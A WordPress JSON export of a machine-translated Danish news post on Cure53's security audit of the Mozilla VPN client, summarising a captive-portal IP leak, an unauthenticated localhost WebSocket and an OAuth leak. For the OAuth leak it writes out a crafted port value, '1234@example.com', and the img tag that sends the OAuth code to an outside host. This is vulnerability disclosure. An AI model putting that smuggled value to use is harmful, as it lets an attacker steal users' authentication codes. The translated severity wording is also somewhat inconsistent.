{"id":101183,"date":"2021-09-03T10:22:53","date_gmt":"2021-09-03T08:22:53","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/opublikovany-rezultaty-audita-vpn-klienta-mozilla"},"modified":"2021-09-03T10:22:53","modified_gmt":"2021-09-03T08:22:53","slug":"opublikovany-rezultaty-audita-vpn-klienta-mozilla","status":"publish","type":"post","link":"https:\/\/prohoster.info\/da\/blog\/news\/opublikovany-rezultaty-audita-vpn-klienta-mozilla","title":{"rendered":"Resultaterne af revisionen af Mozilla VPN-klienten er offentliggjort","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Mozilla har annonceret afslutningen af en uafh\u00e6ngig revision af klientsoftware til forbindelse til Mozilla VPN-tjenesten. Revisjonen omfattede en analyse af den isolerede klientapplikation, der er skrevet ved hj\u00e6lp af Qt-biblioteket og leveret til Linux, macOS, Windows, Android og iOS. Mozilla VPN-driften underst\u00f8ttes af mere end 400 servere fra den svenske VPN-udbyder Mullvad, placeret i mere end 30 lande. Forbindelsen til VPN<\/a>-tjenesten udf\u00f8res ved hj\u00e6lp af WireGuard-protokollen. <\/p>\n

Auditen blev udf\u00f8rt af Cure53, som tidligere har gennemf\u00f8rt revisioner af projekterne NTPsec, SecureDrop, Cryptocat, F-Droid og Dovecot. Revisionen omfattede en kontrol af kildekoden og inkluderede udf\u00f8relse af tests for at identificere mulige s\u00e5rbarheder (sp\u00f8rgsm\u00e5l relateret til kryptografi blev ikke behandlet). Under gennemgangen blev der identificeret 16 sikkerhedsproblemer, hvoraf 8 blev klassificeret som anbefalinger, 5 blev tildelt lav risiko, to - medium, og en - h\u00f8j. <\/p>\n

Kun et enkelt problem med et mellem-niveau blev klassificeret som en s\u00e5rbarhed, da kun det var udnytteligt. Det n\u00e6vnte problem f\u00f8rte til l\u00e6kage af oplysninger om brugen af VPN i koden til at bestemme captive portal p\u00e5 grund af sending af ukrypterede direkte anmodninger over HTTP, der blev sendt uden for VPN-tunnelen og afsl\u00f8rede brugerens prim\u00e6re IP-adresse, hvis en angriber kunne kontrollere transittrafikken. Problemet l\u00f8ses ved at deaktivere captive portal-detektering i indstillingerne. <\/p>\n

Det andet problem af mellem høj risiko vedrører manglende korrekt rensning af ikke-numeriske værdier i portnummeret, hvilket muliggør lækage af OAuth-autentificeringsparametre ved at ændre portnummeret til en streng som "1234@example.com", hvilket vil føre til installation af et tag <img src="»http:\/\/127.0.0.1:1234@example.com\/?code=…»" alt="»»">, der henviser til example.com i stedet for 127.0.0.1. <\/p>\n

Det tredje problem, der blev markeret som farligt, giver enhver lokal applikation mulighed for at f\u00e5 adgang til VPN-klienten via WebSocket, knyttet til localhost, uden autentificering. Som eksempel blev det vist, hvordan enhver webside var i stand til at skabe og sende et skud af sk\u00e6rmen gennem generering af begivenheden screen_capture, mens VPN-klienten var aktiv. Problemet blev ikke betragtet som en s\u00e5rbarhed, da WebSocket kun blev brugt i interne test-builds, og anvendelsen af denne kommunikationskanal var kun planlagt til fremtidig interaktion med browserudvidelsen.
\n
Kilde: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Mozilla \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u041f\u041e \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0443 Mozilla VPN. \u0412 \u0445\u043e\u0434\u0435 \u0430\u0443\u0434\u0438\u0442\u0430 \u0431\u044b\u043b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0430\u043d\u0430\u043b\u0438\u0437 \u043e\u0431\u043e\u0441\u043e\u0431\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0433\u043e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Qt \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f Linux, macOS, Windows, Android \u0438 iOS. \u0420\u0430\u0431\u043e\u0442\u0443 Mozilla VPN \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 400 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0448\u0432\u0435\u0434\u0441\u043a\u043e\u0433\u043e VPN-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 Mullvad, \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d\u043d\u044b\u0445 \u0432 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 30 \u0441\u0442\u0440\u0430\u043d\u0430\u0445. \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-101183","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Resultaterne af revisionen af Mozilla VPN-klienten er blevet offentliggjort | ProHoster","description":"Mozilla har annonceret afslutningen af en uafh\u00e6ngig revision af klientsoftware til forbindelse til Mozilla VPN-tjenesten.","canonical_url":"https:\/\/prohoster.info\/da\/blog\/news\/opublikovany-rezultaty-audita-vpn-klienta-mozilla","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"da_DK","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0430\u0443\u0434\u0438\u0442\u0430 VPN-\u043a\u043b\u0438\u0435\u043d\u0442\u0430 Mozilla | ProHoster","og:description":"\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Mozilla \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u041f\u041e \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0443 Mozilla VPN.","og:url":"https:\/\/prohoster.info\/da\/blog\/news\/opublikovany-rezultaty-audita-vpn-klienta-mozilla","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-09-03T08:22:53+00:00","article:modified_time":"2021-09-03T08:22:53+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"101183","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-09-03 08:33:23","updated":"2026-02-04 14:42:04","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts\/101183","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/comments?post=101183"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts\/101183\/revisions"}],"predecessor-version":[{"id":156742,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts\/101183\/revisions\/156742"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/media?parent=101183"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/categories?post=101183"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/tags?post=101183"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}